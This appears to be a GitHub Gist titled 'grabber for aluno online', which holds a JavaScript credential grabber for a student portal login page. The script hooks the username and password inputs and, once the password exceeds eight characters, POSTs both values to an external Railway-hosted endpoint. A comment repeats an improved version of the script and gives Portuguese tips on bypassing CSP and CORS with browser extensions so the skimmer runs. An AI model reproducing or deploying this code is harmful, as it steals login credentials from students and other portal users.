Last active
June 1, 2025 00:32
-
-
Save Kameil/d8624ba7e104cf27a0399fbcafaacab3 to your computer and use it in GitHub Desktop.
grabber for aluno online
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Coisar(user, pass) { | |
| fetch("https://seducgrabberalunoonline.up.railway.app/send", { | |
| method: "POST", | |
| headers: { | |
| "Content-Type": "application/json" | |
| }, | |
| body: JSON.stringify({ | |
| user: user, | |
| pass: pass | |
| }) | |
| }) | |
| .then(function (res) { return res.json(); }) | |
| .then(function (data) { | |
| if (data.sucess === "true") { | |
| return; | |
| } | |
| }); | |
| } | |
| $("#password").on("input", function () { | |
| var password = $("#password").val(); | |
| if (password && (password === null || password === void 0 ? void 0 : password.length) > 8) { | |
| Coisar($("#username").val(), password); | |
| } | |
| }); | |
| $("username").on("input", function () { | |
| var password = $("#password").val(); | |
| if (password && (password === null || password === void 0 ? void 0 : password.length) > 8) { | |
| Coisar($("#username").val(), password); | |
| } | |
| }); |
Author
extensoes essenciais paraa funcionar https://chromewebstore.google.com/detail/allow-csp-content-securit/hnojoemndpdjofcdaonbefcfecpjfflh?hl=pt-br https://chromewebstore.google.com/detail/user-javascript-and-css/nbhcbdghjpllgmfilhnhkllmkecfmpld?hl=pt-br
function Coisar(user, pass) {
fetch("https://seducgrabberalunoonline.up.railway.app/send", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
user: user,
pass: pass
})
})
.then(res => res.json())
.then(data => {
if (data.success === "true") { // "sucess" -> "success"
console.log("Sucesso! Dados enviados.");
} else {
console.log("Falha no envio:", data);
}
})
.catch(error => {
console.error("Erro na requisição:", error);
});
}
// evento para o campo de senha
$("#password").on("input", function () {
var password = $("#password").val();
var username = $("#username").val();
if (password && password.length > 8 && username) {
Coisar(username, password);
}
});
// evento para o campo de usuário
$("#username").on("input", function () {
var password = $("#password").val();
var username = $("#username").val();
if (password && password.length > 8 && username) {
Coisar(username, password);
}
});- Nota: o jquery deve está disponível na página. se n tiver, bota esse trecho no início do script na extensão:
var script = document.createElement('script'); script.src = 'https://code.jquery.com/jquery-3.6.0.min.js'; document.head.appendChild(script);
possivel problema:
- CORS:
- Se o servidor
https://seducgrabberalunoonline.up.railway.appnão permitir requisições de origens diferentes (CORS), o fetch vai falhar. e a extensão allow csp não resolve isso. ai tu precisaria de uma extensão adicional tipo "CORS Unblock"
- Se o servidor
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
extensoes essenciais paraa funcionar
https://chromewebstore.google.com/detail/allow-csp-content-securit/hnojoemndpdjofcdaonbefcfecpjfflh?hl=pt-br
https://chromewebstore.google.com/detail/user-javascript-and-css/nbhcbdghjpllgmfilhnhkllmkecfmpld?hl=pt-br